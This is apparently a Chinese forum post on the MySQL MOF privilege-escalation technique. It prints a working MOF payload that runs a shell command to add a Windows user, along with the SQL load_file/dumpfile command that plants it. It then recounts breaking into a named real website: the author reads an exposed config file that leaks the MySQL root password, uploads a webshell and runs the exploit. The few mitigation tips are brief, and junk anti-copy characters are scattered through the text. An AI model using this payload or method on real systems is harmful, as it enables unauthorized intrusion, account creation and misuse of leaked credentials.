Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
7 P6 J0 M5 G8 u
: |- `, E* X& D/ j网上公开的一些利用代码:
* |! R% p4 W8 N( [8 d/ H! @
#pragma namespace(“\\\\.\\root\\subscription”)
  Q0 @' s, l+ F3 \* H7 l& E2 v
8 c9 [6 C+ ~/ m* f' c* \: p8 ^instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
( X3 F. r& n: v- w7 q
" o1 n0 h( Y' q! i# m7 A6 z



连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法：

1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

) J6 p" }# C5 t0 y" t2、禁止使用”WScript.Shel”组件

6 h2 k6 K" y4 s3 H. q, q8 A8 [3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
; B% z8 Y- y; n9 O3 z& w4 |
/ `8 t1 F1 w0 b. n. h+ O1 V当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
; l& [6 s, L( e$ S% A
, ]5 U+ e7 L* G' `( B' a事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权

但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

) w6 R4 F; A4 s" k5 z1 E! R, s看懂了后就开始练手吧
8 \# `( P9 S* c% z2 @) H
( [; T8 o- m- ^# X: m& Y# Zhttp://www.webbmw.com/config/config_ucenter.php 一句话 a

$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。

于是直接用菜刀开搞

+ Q8 J* U4 N" E上马先
1 y5 H% ^" H( A/ P! O
既然有了那些账号 之类的 于是我们就执行吧…….

$ C% _. `0 o) C小小的说下

0 @/ X6 S* y; \' N& \8 B) r# D在这里第1次执行未成功        原因未知

* f# n7 R/ G5 ~  H3 u我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

- D  B1 K( w2 @9 t: W* k4 ?* _2 \#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

' D9 q. H, ?% k% b, C* N: _我是将文件放到C:\WINDOWS\temp\1.mof
* Z1 C3 T2 Y, J% }2 g- z
+ o& v+ h) X9 t$ B' t! R所以我们就改下执行的代码

select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;


: k4 b  P& f% k- J7 i8 x8 Y% |
但是 你会发现账号还是没有躺在那里。。
' ~6 J% q/ \7 Y( Y, ~( q
5 Y, x. c3 [# N8 U( e7 O于是我就感觉蛋疼
/ b6 `: K3 f& ?# _
8 C" b9 L5 _, q就去一个一个去执行 但是执行到第2个 mysql时就成功了………
/ i& o! y. ]  [, d8 E. ^6 T
- T2 S4 w) ?( G' r. y7 M* {$ Z

但是其他库均不成功…

我就很费解呀 到底为什么不成功求大牛解答…
+ F5 A; q- Q# ]% u! F- L! m& \
​
5 P) }$ Y% B: k4 u3 O% n
/ x' V+ R' j1 Z7 M; i! H1 F